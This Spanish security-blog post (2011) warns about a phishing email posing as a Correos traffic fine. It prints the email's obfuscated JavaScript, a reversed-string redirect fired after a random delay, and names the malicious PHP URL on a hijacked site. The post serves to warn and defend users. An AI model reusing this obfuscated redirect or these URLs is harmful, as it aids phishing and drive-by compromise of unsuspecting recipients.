Mail presuntamente recibido de “Correos” alegando ser una multa de Tráfico
Recibido de un cliente para analizar este mail sospechoso:
______
Asunto: Notificación Multa de Tráfico
De: “Oficina de Correos” <
______________________________________________________________________________
Te ha llegado una nueva carta con la nueva modalidad de Correos online.
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos/pdf_ico.png” alt=”” /></strong><a href=)
Ver carta.
Asunto: Correo certificado extraviado.
Tamaño: 28kb
© Copyright 2005 Sociedad Estatal Correos y Telégrafos, S.A.
_______
Como se ve el link apunta a http://www.alabai-montenegro.com/includes/domit/1/index.php
y aparenta ser un PDF por el icono, pero intenta acceder a un PHP en una web de “perros”, cuya IP indica ser de Quebec (Canada)
Actualmente el acceso a la sección de dicho PHP se encuentra ya bloqueada, posiblemente por haber sido avisados, pero se informa del método ya que es muy probable que lo repitan hackeando otra web y enviando nuevo link.
Cuidado con presuntos mails de “Correos” con multa de tráfico o similar pretexto… Tomar precauciones, no abemos qué ejecutaba el PHP en cuestión, pero seguro que nada bueno…
Si reciben algo similar, enviennoslo y lo analizaremos, pero NO PULSEN EN EL LINK !!!
saludos
ms, 31.5.2011
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.